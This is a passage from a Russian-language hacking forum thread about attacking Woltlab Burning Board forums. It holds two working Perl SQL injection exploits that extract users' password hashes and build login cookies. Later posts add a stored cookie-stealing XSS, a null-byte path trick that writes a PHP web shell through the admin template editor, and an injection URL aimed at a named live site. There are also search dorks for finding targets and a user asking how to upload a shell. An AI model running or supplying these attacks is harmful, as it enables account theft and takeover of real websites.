           else { print $headers}
    
       }
       print "[x] Cookie prefix: $prefix\n";
    }
    print "[x] Vulnerable check:";
    
    my $answer;
    my $pre;
    $answer = do_request( '\'', '' );
    
    if ( $answer =~ /FROM (.*?)_boards/ ) {
       $pre = $1;
       print " Vulnerable\n";
    }
    elsif ($answer =~ /Die Suche ergab keine/
       or $answer =~ /No results were found for this search/
       or $answer =~ /Your search is invalid/
       or $answer =~ /Ihre Suchabfrage ist/ )
    {
       print " No Idea\n";
       print "[x] Searchstring was not found, try a different one with -s\n";
       exit;
    }
    elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/
       or $answer =~ /Access denied/ )
    {
       print " No Idea\n";
       print "[x] search.php only for users,";
       print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U;
       print " give me userid+password with -U\n"           if !$opt_U;
    
       exit;
    }
    else {
       print " Not Vulnerable!\n";
    
       #print $answer;
       exit;
    }
    
    print "[x] Unleashing black magic...\n";
    $answer = do_request(
       ' UNION/*s12s*/  SELECT/*t35s*/  password , password /*er35*/ FRoM ' . $pre
         . '_users  WHeRE/*esr35*/  userid='
         . $uid . '/*',
       ''
    );
    
    if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) {
       print "[x] Looks good!\n";
       print "[x] Userid: $uid\n";
       print "[x] Hash: $1\n";
       if ( !$opt_C ) {
           print
    "[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";
       }
    
    }
    else {
       print "[x] Looks bad!\n";
       print $answer;
    
    }
    
    sub HELP_MESSAGE() {
       print "burned.pl written by trew\n"
         . "perl $0 [options] url\n"
         . "examples:\n"
         . "perl $0 woltlab.de/forum/\n"
         . "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n"
         . "overwrite -c and -l only when the auto-check "
         . "gives you a false result\n"
         . "use -C when you need some special cookies\n"
         . "options :\n-u userid of victim [1]\n"
         . "-i faked client-ip [127.0.0.1]\n"
         . "-s searchstring [board]\n"
         . "-U userid:password or userid:pwhash [none]\n"
         . "-p proxyip:proxyport [none]\n"
         . "-A user-agent [firefox 1.5.09]\n"
         . "-c cookie-prefix [auto-check]\n"
         . "-l wbblite mode [auto-check]\n"
         . "-C raw cookie\n";
       exit;
    }
    
    sub do_request($$) {
       my $string   = shift;
       my $otherurl = shift;
       if ($otherurl) { $target = "http://$host$folder" . $otherurl; }
       else { $target = "http://$host$folder" . 'search.php' }
       $string = '/*' if ( !$string );
       my $ua = LWP::UserAgent->new;
       if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); }
       my $request = new HTTP::Request( 'POST', $target );
       $request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string
             . '&send=1&searchstring='
             . $searchstring );
       $request->content_type('application/x-www-form-urlencoded');
       $request->header( 'User-Agent' => $useragent );
    
       if ($opt_U) {
           my $userhash;
           if ( !$isHash ) { $userhash = md5($userpassword); }
           else { $userhash = $userpassword; }
           my $cookie = $prefix
             . 'userid='
             . $userid . ';'
             . $prefix
             . 'userpassword='
             . $userhash;
    
           $request->header( 'Cookie' => $cookie );
       }
       elsif ($opt_C) {
           $request->header( 'Cookie' => $opt_C );
       }
       $request->header( 'Client-Ip' => $ip );
       my $response = $ua->request($request);
       my $body     = $response->content;
       my $headers  = $response->headers_as_string;
       $body = $response->error_as_HTML if ( $response->is_error );
    
       return $headers if ( $string eq '/*' and !$response->is_error );
       return $body;
    }
    
    # MD5 Code ripped from Libwhisker for bigger portability
    # thx rfp :)
    {
       my ( @S, @T, @M );
       my $code = '';
    
       sub md5 {
           return undef if ( !defined $_[0] );    # oops, forgot the data
           my $DATA = _md5_pad( $_[0] );
           &_md5_init() if ( !defined $M[0] );
           return _md5_perl_generated( \$DATA );
       }
    
       sub _md5_init {
           return if ( defined $S[0] );
           my $i;
           for ( $i = 1 ; $i <= 64 ; $i++ ) {
               $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );
           }
           my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );
           for ( $i = 0 ; $i < 64 ; $i++ ) {
               $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];
           }
           @M = (
               0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,
               1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,
               5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,
               0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9
           );
           &_md5_generate();
           my $TEST = _md5_pad('foobar');
    
           if ( _md5_perl_generated( \$TEST ) ne
               '3858f62230ac3c915f300c664312c63f' )
           {
               die('Error: MD5 self-test not successful.');
           }
       }
    
       sub _md5_pad {
           my $l = length( my $msg = shift() . chr(128) );
           $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );
           $l = ( $l - 1 ) * 8;
           $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );
           return $msg;
       }
    
       sub _md5_generate {
           my $N = 'abcddabccdabbcda';
           my ( $i, $M ) = ( 0, '' );
           $M    = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems
           $code = <<EOT;
           sub _md5_perl_generated {
           BEGIN { \$^H |= 1; }; # use integer
           my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);
           my (\$a,\$b,\$c,\$d,\$t,\$i);
           my \$dr=shift;
           my \$l=length(\$\$dr);
           for my \$L (0 .. ((\$l/64)-1) ) {
                   my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));
                   (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);
    EOT
           for ( $i = 0 ; $i < 16 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .=
                 "\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 32 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .=
                 "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 48 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 64 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           $code .= <<EOT;
                   \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;
                   \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;
           } # for
           return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }
    EOT
           eval "$code";
       }
    }    # md5 package container
    
    # milw0rm.com [2007-01-17]
    
    и вот что пишет... что это значит? адреса всегда правильно ввожу!
    на первом скрине пишет что типа всё нормально, на втором тупо не может приконнектится.
    может быть я команды неправильные ввожу?

    [​IMG]

    [​IMG]
    Помогите?
     
  12. Алекс диГриз

    Алекс диГриз Elder - Старейшина

    Joined:
    6 May 2008
    Messages:
    74
    Likes Received:
    15
    Reputations:
    0
    вот второй использую -
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use HTTP::Response;
    
    $| = 1;
    print "
    ###################################################
    ##
    ## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
    ##
    ###################################################
    ##
    ## Coded by 666 <http://blueshisha.mutebox.net>
    ## Bug by trew
    ##
    ###################################################
    \n";
    
    if($#ARGV < 0)
    {
            print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
            exit;
    }
    print "<~> Exploiting...\n";
    my $url = shift;
    my $id = shift;
    my $sstring = shift;
    
    my $ua = LWP::UserAgent->new;
    my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
    $request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
    $request->content_type('application/x-www-form-urlencoded');
    my $response = $ua->request($request);
    my $body     = $response->content;
    print "<~> Hash: ";
    $body=~/([a-f0-9]{32})/;
    print $1;
    print "\n";
    
    # milw0rm.com [2007-01-17]
    вот чё пишет -

    [​IMG]
     
  13. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,126
    Likes Received:
    459
    Reputations:
    38
    Версия: 3.1.0 PL1, возможно другие.

    Раскрытие путей:
    1) http://site/path/index.php?form=NewPassword&action=new&u=1&k[]=
    2) http://site/path/index.php?form=UserLogin&s[]=
    Эти параметры уязвимы и вызывают раскрытие и в других местах.

    Активная xss:
    Создаём тему\пост, в нём картинку: javascript:alert(document.cookie)
    Далее нужно любого юзера\модератора\администратора заставить отредактировать\цитировать ваш пост. Тут требуется немного СИ, но в целом - не сложно. Нажав копку "edit" он увидит алерт со своими печеньками.

    Проверенно работает в Opera и IE в FF не сработало.


    Фича:
    Возможность проспамить\зафлудить e-mail любого пользователя, нету ограничений на отправку.
    http://site/path/index.php?form=Mail&userID=1

    Выполнение произвольного кода и недокументированная возможность редактирования стандартных тем:
    Требуются права админа.
    Итак, логинимся под админом, переходим
    Design -> Templates -> Add new template pack
    Там вбиваем:
    Template pack name - "/"
    Template pack folder name - "/"
    (без кавычек)

    Далее переходим в List Templates и выбираем наш "/".
    Нажимаем "Add new template".

    Вбиваем:
    Template source code - любой php код, напимер шелл.
    Template name например shell.php

    А теперь внимание - финт ушами. Нам понадобиться FireFox и его дополнение Tamper Data:
    Включаем перехват, нажимаем в форме "Submit" и в Tamper Data правим параметр "templateName" заменяя его значение на что-то вроде
    Code:
    [B]../shell.php[/B]%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA
    
    где ../shell.php путь к создаваемому файлу относительно папки templates.
    Вот и всё, шелл залит. Да, и файлы - перезаписываются. Пока тестил случайно удалил index.php. Так-то.

    К слову, если вместо shell.php писать просто index, то мы перезапишем стандартный шаблон, что является не документированным и по умолчанию запрещённым.



    ps. возможно, будет дополняться.
     
    #13 mr.The, 24 Jan 2010
    Last edited: 25 Jan 2010
    2 people like this.
  14. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    695
    Likes Received:
    161
    Reputations:
    81
    Burning Board Lite >= 2.0.1
    Тип: Раскрытие путей
    Возможно в более новых/старых версиях форума.
    Dork:
    http://site.com/forum/wcf/lib/system/setup/FTPInstaller.class.php
    Также часто открыт этот файл:
    http://site.com/forum/wcf/lib/system/setup/error_log
    Example: http://www.g-c-g.biz/gcg/wcf/lib/system/setup/error_log
    Также все классы в /system/ и другие файлы, по умолчанию, эти директории открыты для просмотра..
    Exploit:
    (c) Osstudio
     
    #14 Osstudio, 14 Jan 2012
    Last edited: 14 Jan 2012
    1 person likes this.
  15. pharm_all

    pharm_all Member

    Joined:
    10 Sep 2009
    Messages:
    132
    Likes Received:
    7
    Reputations:
    0
    Woltlab Burning Board 2.2 / 2.3

    kt_main.php?action=tabelle&liga_id=[Скуля]

    Пример:http://w.forum-thueringen.de/kt_main.php?action=tabelle&liga_id=%27+union+select+1,2,3,4,5,6,concat%28userid,0x3a,username,0x3a,password,0x3a,email%29,8+from+bb1_users+where+userid=7--+

    dork:inurl:kt_main.php?action=
     
  16. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    488
    Likes Received:
    63
    Reputations:
    26
    Ребят есть идеи как залить шелл на версии 2.3.6???
    Доступ к админке имеется)
     
  17. r00t_hack

    r00t_hack New Member

    Joined:
    1 Jul 2017
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    thanks for sharing this service.
     
Loading...